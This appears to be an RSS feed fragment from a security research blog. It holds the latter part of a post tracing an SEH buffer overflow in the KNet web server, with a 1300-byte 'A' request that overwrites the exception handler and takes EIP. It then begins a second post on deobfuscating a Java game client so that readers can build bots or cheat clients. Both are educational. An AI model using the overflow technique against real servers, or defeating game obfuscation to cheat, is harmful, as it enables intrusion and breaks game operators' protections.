&lt;p&gt;It is crucial to make note of the address of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ExceptionList&lt;/code&gt;. This is significant because the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ExceptionList&lt;/code&gt; serves as a pointer to the head of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Structured Exception Handling (SEH) chain&lt;/code&gt;, which is implemented as a linked-list data structure.&lt;/p&gt;

&lt;p&gt;In case you’re unfamiliar with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SEH&lt;/code&gt;, basically it is a mechanism in the Windows OS which is designed to handle exceptions (both software and hardware). Each individual &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SEH&lt;/code&gt; record points to an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exception handler&lt;/code&gt; function which is designed to deal with the unexpected event. So whenever an exception occurs, the operating system will walk to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SEH&lt;/code&gt; chain and invoke every &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exception handler&lt;/code&gt; until either one is found that is able to successfully deal with the exception or the default handler is reached (the last node in the list). If the default handler is reached, this will result in the operating system terminating the current process (or thread).&lt;/p&gt;

&lt;p&gt;What makes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SEH&lt;/code&gt; so valuable for an attacker is specifically the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exception handler&lt;/code&gt;.  By overwriting the address of one of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exception handlers&lt;/code&gt; and triggering an exception within the program, the operating system will execute the overwritten &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exception handler&lt;/code&gt;. This effectively will result in granting the attacker control over the program’s flow. For a great primer regarding exploiting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SEH&lt;/code&gt;, please refer to the &lt;a href=&quot;https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/seh-based-buffer-overflow&quot;&gt;following resource&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;One last thing to note is that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SEH&lt;/code&gt; lives at the base of the stack meaning at a higher memory address (remember the stack grows downward towards lower memory addresses). The diagram below will provide a clearer visual representation:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/knet/2023-05-28-12-16-27.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Going back to the address of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ExceptionList&lt;/code&gt; which is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0014ffcc&lt;/code&gt;. Now examine the address of the destination buffer, it is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0014fad4&lt;/code&gt;. This means the distance between the destination buffer and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ExceptionList&lt;/code&gt; is only &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x4F8&lt;/code&gt; bytes aka &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0n1272&lt;/code&gt; which is very close! Furthermore as the address of the destination buffer is lower than the address of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ExceptionList&lt;/code&gt;, this means that if a large enough input is supplied (in this case 1276 bytes, the first address of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exception_handler&lt;/code&gt; is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ExceptionList + 4&lt;/code&gt;), it can overwrite the first exception handler!&lt;/p&gt;

&lt;p&gt;Here’s the same diagram shown earlier though this time denoting how the overflow would appear (as shown by red):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/knet/2023-05-30-09-26-51.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To verify our hypothesis, let’s refactor the Python code which is responsible for sending the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP&lt;/code&gt; request:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x41&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1300&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot; / HTTP/1.0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\r\n\r\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This will result in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP&lt;/code&gt; request containing 1300 arbitrary &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;A&lt;/code&gt; characters, which if our hypotheis is correct, should overwrite the start of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SEH&lt;/code&gt; chain.&lt;/p&gt;

&lt;p&gt;Setting a breakpoint at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy()&lt;/code&gt; call will once again allow us to examine the arguments passed to the call:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:000&amp;gt; dds esp L2
0014f97c  0014fad4    // dest
0014f980  019938b0    // src
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Examining the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src&lt;/code&gt; buffer, shows it contains our user-input:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:000&amp;gt; db 019938b0
019938b0  43 3a 5c 50 72 6f 67 72-61 6d 20 46 69 6c 65 73  C:\Program Files
019938c0  5c 4b 4e 65 74 5c 41 41-41 41 41 41 41 41 41 41  \KNet\AAAAAAAAAA
019938d0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
019938e0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
019938f0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01993900  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01993910  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01993920  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Examining the first record in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SEH&lt;/code&gt; chain still shows the handle is in-tact:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:000&amp;gt; !teb
TEB at 00390000
    ExceptionList:        0014ffcc
    ...

0:000&amp;gt; dt _EXCEPTION_REGISTRATION_RECORD 0014ffcc
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x0014ffe4 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x77767390     _EXCEPTION_DISPOSITION  ntdll!_except_handler4+0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Stepping over the call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy()&lt;/code&gt;, we can re-examine the first record in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SEH&lt;/code&gt; chain:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:000&amp;gt; dt _EXCEPTION_REGISTRATION_RECORD 0014ffcc
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x41414141 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x41414141     _EXCEPTION_DISPOSITION  +41414141
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As shown above, both the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Next&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Handler&lt;/code&gt; were overwritten by user-input!&lt;/p&gt;

&lt;p&gt;Mentioned earlier that in order to trigger the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SEH&lt;/code&gt; chain, an exception has to be raised. Typically when you have the ability to overwrite the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SEH&lt;/code&gt; chain, it will overwrite some crucial pointers along the way which will result in an exception being raised.&lt;/p&gt;

&lt;p&gt;After resuming the program, an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Access violation&lt;/code&gt; is immediately raised resulting in Windows to traverse the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ExceptionList&lt;/code&gt;, eventually invoking the overwritten exception handler. This sequence of events grants the attacker the ability to gain control of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EIP&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(1d9c.1894): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=00000000 ecx=0789d43e edx=00000001 esi=0014ff24 edi=00401000
eip=41414141 esp=0014fee0 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
41414141 ??              ???
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;As the primary objective of this blog post was to provide a comprehensive walkthrough on tracing the source of a vulnerability to the exploitation sink, the process of achieving successful exploitation is left as an excercise for the readers.&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;
</description>
        <pubDate>Tue, 30 May 2023 00:00:00 +0000</pubDate>
        <link>/2023/05/30/tracing-the-knet-seh-overflow/</link>
        <guid isPermaLink="true">/2023/05/30/tracing-the-knet-seh-overflow/</guid>
        
        <category>Research</category>
        
        <category>RE</category>
        
        
      </item>
    
      <item>
        <title>Deobfuscating a Java Game Client</title>
        <description>&lt;h1 id=&quot;introduction&quot;&gt;Introduction&lt;/h1&gt;

&lt;p&gt;This post is an extension of the “Building Bots for Java Games: A Beginner’s Guide” talk presented at BSides Prishtina 2023. As mentioned at the end of the talk, the topic of dealing with an obfuscated client was not covered.&lt;/p&gt;

&lt;p&gt;Obfuscation, in simple terms, involves intentionally making the code difficult for humans to understand while keeping it functional. In the context of RSPS Client obfuscation, the goal is to deter, rather than completely prevent, individuals from decompiling the client and creating bots/cheat clients.&lt;/p&gt;

&lt;p&gt;Therefore, the main objective of this blog post is to showcase various techniques that can be employed when faced with an obfuscated client. Additionally, it presents a practical case study that illustrates the application of these techniques in a real-world scenario.&lt;/p&gt;

&lt;p&gt;If you’re interested in this topic, please check out the following &lt;a href=&quot;/2023/05/15/building-bots-for-java-games/&quot;&gt;blog post&lt;/a&gt; which links the slides and the video, as well as providing some additional context.&lt;/p&gt;

&lt;h1 id=&quot;tools&quot;&gt;Tools&lt;/h1&gt;

&lt;p&gt;The following tools will be used:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://class-visualizer.net/&quot;&gt;Class Visualizer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.benf.org/other/cfr/&quot;&gt;CFR - another java decompiler&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.jetbrains.com/idea/&quot;&gt;IntelliJ IDEA&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;preface&quot;&gt;Preface&lt;/h1&gt;

&lt;p&gt;From my personal observations, it appears that a significant number of RSPS Clients are built using the same boilerplate. This tendency can be attributed to the primary objective of commercial RSPS, which is focused on generating revenue. Consequently, developers often prioritize the creation of fresh content rather than rebuilding the client (or making changes under-the-hood), in which the majority of players wouldn’t notice anyways. This approach aligns with the popular adage, “If it ain’t broke, don’t fix it.”&lt;/p&gt;

&lt;p&gt;Within the structure of an RSPS Client, it is highly probable to encounter a class known as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Client&lt;/code&gt;, which serves as the core controller responsible for centralizing various functionalities. Embedded within this class are references to instances that would be of particular interest to bot developers, including references to the local player, NPCs, other players, and other interesting entities.&lt;/p&gt;

&lt;p&gt;Here is an example of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Client&lt;/code&gt; class belonging to a 317 Client: &lt;a href=&quot;https://github.com/RomaniaClan/Elvarg/blob/master/Elvarg%20-%20Client/src/com/runescape/Client.java#L15459&quot;&gt;Client.java&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As such, the current goal is to locate the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Client&lt;/code&gt; class in the obfuscated client.&lt;/p&gt;

&lt;p&gt;The target client used for demonstration purposes in this blog post was randomly selected from &lt;a href=&quot;https://www.runelocus.com/top-rsps-list/&quot;&gt;Runelocus’&lt;/a&gt; top list. To maintain respect for the developers and their intellectual property, the specific name of the client will not be disclosed.&lt;/p&gt;

&lt;h1 id=&quot;starting-the-deobfuscating-journey&quot;&gt;Starting the deobfuscating journey&lt;/h1&gt;

&lt;p&gt;This section will be divided into multiple smaller sections, each focusing on a specific technique that can be utilized in the deobfuscation process. Each subsection will provide a detailed explanation of the technique along with a concrete example.&lt;/p&gt;

&lt;p&gt;An effective analogy for comprehending the deobfuscation process is likening it to solving a puzzle. Initially, when you begin, it may appear that you have thousands of puzzle pieces with no clear indication of where each one fits. However, as you progressively assemble the puzzle, you start recognizing patterns that gradually make it easier to determine the correct placement of each piece. In essence, once you successfully identify the correct placement of a particular puzzle piece, it can serve as a valuable clue that offers insights into the whereabouts of the subsequent pieces.&lt;/p&gt;

&lt;p&gt;As mentioned earlier in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Preface&lt;/code&gt; section, the majority of RSPS Clients will follow the same boilerplate. As such, it makes sense to find an open-source client which matches the revision of the client you are trying to deobfuscate. In this blog post, we will be using the open-source old-school RSPS Client that can be found at the following &lt;a href=&quot;https://github.com/TagsRocks/nardah_client&quot;&gt;Github repository&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The next sections will assume you have already decompiled the client, I’ve found &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CFR&lt;/code&gt; to be an effective decompiler (linked in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Tools&lt;/code&gt; section above).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note: A recent shift in the paradigm has introduced a two-stage structure for RSPS Game Clients. The initial stage, known as the launcher, is the component that users download. Its primary function is to validate whether the user has the latest game client installed. If not, it proceeds to download the most up-to-date client from the corresponding artifactory and saves it to disk. The second stage involves launching the game client itself (which the launcher does). In the upcoming section, our focus will be on the game client itself, rather than the launcher. Therefore, please make sure to locate the relevant client on your disk (typically found in the user’s home folder).&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;class-visualizer-static&quot;&gt;Class Visualizer (Static)&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Class Visualizer&lt;/code&gt; is a really nifty tool which generates a visual diagram showcasing the relationships between classes and their respective inheritance structure.&lt;/p&gt;

&lt;p&gt;Once &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Class Visualizer&lt;/code&gt; is loaded, click the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;File&lt;/code&gt; menu button in the navigation bar and select &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Load Classes -&amp;gt; from JAR files...&lt;/code&gt; and select the game client.&lt;/p&gt;

&lt;p&gt;If successfully loaded, this is how &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Class Visualizer&lt;/code&gt; should appear:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-10-22-21.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There will be three views. On the left hand-side there will be the list of classes loaded, while in the middle will be a relations diagram, and finally a UML Diagram on the right-hand side.&lt;/p&gt;

&lt;p&gt;Here is a follow-up diagram on how to interpret the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Relations Diagram&lt;/code&gt; view as it will arguably be the most useful:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-10-37-05.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note: This same information can be gleamed from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Browser&lt;/code&gt; View (in the left-hand side):&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-10-39-44.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With the aid of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Class Visualizer&lt;/code&gt;, we can embark on our journey through the vast collection of obfuscated classes.&lt;/p&gt;

&lt;p&gt;In typical RSPS Client fashion, the client itself is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Java Applet&lt;/code&gt; bound to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JFrame&lt;/code&gt;. Typically there is a class called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GameApplet&lt;/code&gt; which is responsible for building the respective frame and adding the various listeners to it:&lt;/p&gt;

&lt;p&gt;https://github.com/TagsRocks/nardah_client/blob/master/src/com/nardah/GameApplet.java&lt;/p&gt;

&lt;p&gt;Furthermore &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Client&lt;/code&gt; will inherit from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GameApplet&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Client&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;GameApplet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// https://github.com/TagsRocks/nardah_client/blob/master/src/com/nardah/Client.java#L26&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As such, we will need to work backwards in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Class Visualizer&lt;/code&gt; and locate the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Applet&lt;/code&gt; class which is a standard class bundled with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JDK&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-10-50-45.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Shown above, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xu&lt;/code&gt; class inherits from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Applet&lt;/code&gt; meaning this would be the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GameApplet&lt;/code&gt; class. However when visualizing the inheritance chain of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xu&lt;/code&gt; class, we notice there is no child class which inherits from it (which normally would be the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Client&lt;/code&gt;):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-10-52-03.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Instead we see that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xu&lt;/code&gt; class declares a field of type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xC&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Visualizing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xC&lt;/code&gt; shows the following:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-10-55-14.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Within this visualization, we see that type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jW&lt;/code&gt; inherits from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xC&lt;/code&gt;, so let’s follow the trial and visualize the class:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/deobfuscate/2023-05-15-10-56-05.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Notice that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jW&lt;/code&gt; implements several interfaces including &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MouseListener&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MouseMotionListener&lt;/code&gt;. Looking back at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GameApplet&lt;/code&gt; class in the open-source client, we notice that it also implements the same interfaces:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;GameApplet&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Applet&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;implements&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Runnable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;MouseListener&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;MouseMotionListener&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;MouseWheelListener&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;KeyListener&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;FocusListener&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;WindowListener&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// https://github.com/TagsRocks/nardah_client/blob/master/src/com/nardah/GameApplet.java#L14&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Based on the information available, it can be inferred that the given class is likely the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GameApplet&lt;/code&gt; class, although it appears to have been structured differently compared to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GameApplet&lt;/code&gt; class found in the open-source client.&lt;/p&gt;

&lt;p&gt;Moreover, upon observing that type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;P&lt;/code&gt; inherits from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jW&lt;/code&gt;, it reinforces the hypothesis that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jW&lt;/code&gt; is indeed the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GameApplet&lt;/code&gt; class. If this assumption holds true, it implies that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;P&lt;/code&gt; is in-fact the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Client&lt;/code&gt; class (spoiler-alert: it is).&lt;/p&gt;

&lt;p&gt;In summary, utilizing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Class Visualizer&lt;/code&gt; provides a valuable advantage in obtaining a comprehensive overview of the different types comprising the application and their interconnections, offering insights into how they interact with one another.&lt;/p&gt;

&lt;h2 id=&quot;leveraging-heuristics-static&quot;&gt;Leveraging Heuristics (Static)&lt;/h2&gt;

&lt;p&gt;This next sub-section will describe some heuristic techniques that can be used to help deobfuscate the client.&lt;/p&gt;

&lt;h3 id=&quot;hardcoded-values&quot;&gt;Hardcoded Values&lt;/h3&gt;

&lt;p&gt;Although obfuscators excel at concealing the names of types and variables, they often do not obfuscate hardcoded values such as integers and strings. These values tend to remain unaltered, providing potential clues and points of reference during the deobfuscation process.&lt;/p&gt;

&lt;p&gt;For example, here is a snippet from the target client that is interesting:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;jd_0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Attack&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Defence&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Strength&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Hitpoints&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Ranged&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Prayer&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Magic&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Cooking&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Woodcutting&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Fletching&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;...,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;-unused-&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;-unused-&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;};&lt;/span&gt;
